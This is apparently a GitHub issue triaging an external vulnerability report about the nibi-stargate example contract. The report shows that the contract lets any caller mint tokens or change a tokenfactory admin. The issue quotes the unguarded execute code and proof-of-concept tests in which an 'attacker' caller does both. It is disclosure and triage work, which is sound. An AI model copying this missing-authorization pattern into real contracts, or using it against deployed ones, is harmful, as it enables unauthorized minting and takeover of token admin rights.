docs(wasm): warn that nibi-stargate example is non-production and permissionless

[Unique-Divine]

Summary

External report (gist) correctly notes that nibi-stargate in NibiruChain/nibiru-wasm ignores _info.sender in execute and forwards MsgMint / MsgChangeAdmin (and related paths) with sender = contract_addr.

That behavior is expected for this example contract. It is not a production protocol vulnerability. Implementation here is documentation and developer-safety hygiene in the example repo, not adding authorization logic to nibi-stargate.

Code lives in nibiru-wasm; tracked from this repo for visibility.

Severity / triage

• Priority: p3 — dev tooling / example contract hygiene
• Not protocol-critical: Nibiru does not deploy or operate nibi-stargate for production infrastructure

Contract taxonomy

From contracts/README.md:

Group	Contracts	Role
Core (core-*)	core-cw3-flex-msig, core-cw3-fixed-msig, core-token-vesting, core-token-vesting-v2	Production-style contracts (e.g. Treasury / Hot Wallet multisigs on mainnet)
Example	nibi-stargate	Runnable Stargate / tokenfactory docs and workshops
Utility	lockup, incentives	Reference building blocks (separate issue)

Compiled .wasm files under nibiru-wasm/artifacts/ are normal build output. They do not imply mainnet deployment or protocol operation by Nibiru.

Discord context (support ticket #833-daniel526, 2026-07-10)

Team response on the gist report:

nibi-stargate is in the repo as a toy meant to show people how to construct protobuf-based messages using our Rust SDK. It's not a smart contract intended for any production use. That's why it doesn't manage things like permissions or anything for minting. It simply does whatever's passed in blindly. We've used it in educational workshops as a runnable form of documentation.

Follow-up taxonomy:

nibi-stargate, lockup, and incentives are not deployed or used by the team for protocol operations. The team uses the core-* contracts where Wasm is part of production infrastructure.

Affected code

• nibi-stargate/src/contract.rs — _info: MessageInfo unused; privileged Stargate messages use sender: contract_addr
• nibi-stargate/README.md — deploy guide has no non-production / permissionless warning

Recommended approach

Keep nibi-stargate simple and permissionless on purpose so it stays a clear protobuf/Stargate teaching example. Do not add auth in this ticket. If a guarded production wrapper is ever needed, that should be a separate core-* or new example contract.

Acceptance criteria

• Add a prominent non-production warning in nibi-stargate/README.md before deploy instructions
• Link to parent contracts/README.md taxonomy from the example README
• Add a brief comment at execute documenting that _info is intentionally unchecked for teaching
• (Optional) One-line clarification under Example in contracts/README.md

Out of scope

• Adding authorization logic to nibi-stargate
• lockup / incentives eligibility bug (tracked separately)
• Mainnet deployment audit unless reporter supplies specific contract addresses

[Unique-Divine]

External reproduction (gist)

Source: @Odhiambo526 — Discord ticket #833-daniel526, 2026-06-03.

Reporter correctly demonstrates that any caller can invoke privileged tokenfactory paths through the public execute entry point.

Cited execute pattern

pub fn execute(
    _deps: DepsMut,
    env: Env,
    _info: MessageInfo,
    msg: ExecuteMsg,
) -> Result<Response, ContractError> {
    let contract_addr: String = env.contract.address.into();
    match msg {
        ExecuteMsg::Mint { coin, mint_to } => {
            let cosmos_msg: CosmosMsg = nibiru::tokenfactory::MsgMint {
                sender: contract_addr,
                coin: Some(cosmos::base::v1beta1::Coin {
                    denom: coin.denom.clone(),
                    amount: coin.amount.into(),
                }),
                mint_to,
            }
            .into_stargate_msg();
            // ...
        }
        ExecuteMsg::ChangeAdmin { denom, new_admin } => {
            let cosmos_msg: CosmosMsg = nibiru::tokenfactory::MsgChangeAdmin {
                sender: contract_addr,
                denom: denom.to_string(),
                new_admin: new_admin.to_string(),
            }
            .into_stargate_msg();
            // ...
        }
        // CreateDenom, Burn — same pattern
    }
}

Link: contract.rs#L22-L113

Reporter unit tests

#[test]
fn public_caller_can_emit_contract_sender_mint_msg() -> Result<(), ContractError> {
    let mut deps = initialized();
    let env = mock_env();
    let contract_addr = env.contract.address.to_string();
    let attacker = "attacker";
    let denom = format!("factory/{contract_addr}/poc");
    let amount = 123u128;

    let response = execute(
        deps.as_mut(),
        env,
        mock_info(attacker, &[]),
        ExecuteMsg::Mint {
            coin: coin(amount, denom.clone()),
            mint_to: attacker.to_string(),
        },
    )?;

    let mint: MsgMint =
        decode_stargate(&response, "/nibiru.tokenfactory.v1.MsgMint");
    assert_eq!(mint.sender, contract_addr);
    assert_ne!(mint.sender, attacker);
    assert_eq!(mint.mint_to, attacker);
    Ok(())
}

#[test]
fn public_caller_can_emit_contract_sender_change_admin_msg() -> Result<(), ContractError> {
    let mut deps = initialized();
    let env = mock_env();
    let contract_addr = env.contract.address.to_string();
    let attacker = "attacker";
    let denom = format!("factory/{contract_addr}/poc");

    let response = execute(
        deps.as_mut(),
        env,
        mock_info(attacker, &[]),
        ExecuteMsg::ChangeAdmin {
            denom: denom.clone(),
            new_admin: attacker.to_string(),
        },
    )?;

    let change_admin: MsgChangeAdmin =
        decode_stargate(&response, "/nibiru.tokenfactory.v1.MsgChangeAdmin");
    assert_eq!(change_admin.sender, contract_addr);
    assert_ne!(change_admin.sender, attacker);
    assert_eq!(change_admin.new_admin, attacker);
    Ok(())
}

Reporter test output

cargo test -p nibi-stargate public_caller -- --nocapture

running 2 tests
test contract::tests::public_caller_can_emit_contract_sender_change_admin_msg ... ok
test contract::tests::public_caller_can_emit_contract_sender_mint_msg ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 1 filtered out

Reporter framing vs triage

Reporter labeled this HIGH severity for any denom where the wrapper is tokenfactory admin. We accept the technical finding at the contract layer. For Nibiru ops this is p3 because nibi-stargate is an example contract, not deployed for protocol infrastructure. Mitigation for this ticket is documentation clarity, not adding auth to the teaching example.

[Unique-Divine]

Discord thread reference

• Server: Nibiru
• Channel: #833-daniel526 (support ticket)
• Gist posted: 2026-06-03 — https://gist.github.com/Odhiambo526/cd91a266643d455a6a5a9d3c8d2c3c57
• Team response: 2026-07-10

@UniqueDivine (2026-07-10)

nibi-stargate is in the repo as a toy meant to show people how to construct protobuf-based messages using our Rust SDK. It's not a smart contract intended for any production use. That's why it doesn't manage things like permissions or anything for minting. It simply does whatever's passed in blindly. We've used it in educational workshops as a runnable form of documentation.

Reporter follow-up (2026-07-10)

Acknowledged the example label for nibi-stargate, but asked for a separate determination on lockup / incentives (tracked in a separate GitHub issue).

Team taxonomy summary (2026-07-10)

From contracts/README.md:

• Core (core-*) — production-style contracts
• Example — nibi-stargate
• Utility — lockup, incentives

nibi-stargate, lockup, and incentives are not deployed or used by the team for protocol operations. Artifacts in nibiru-wasm/artifacts/ are build output, not evidence of mainnet deployment.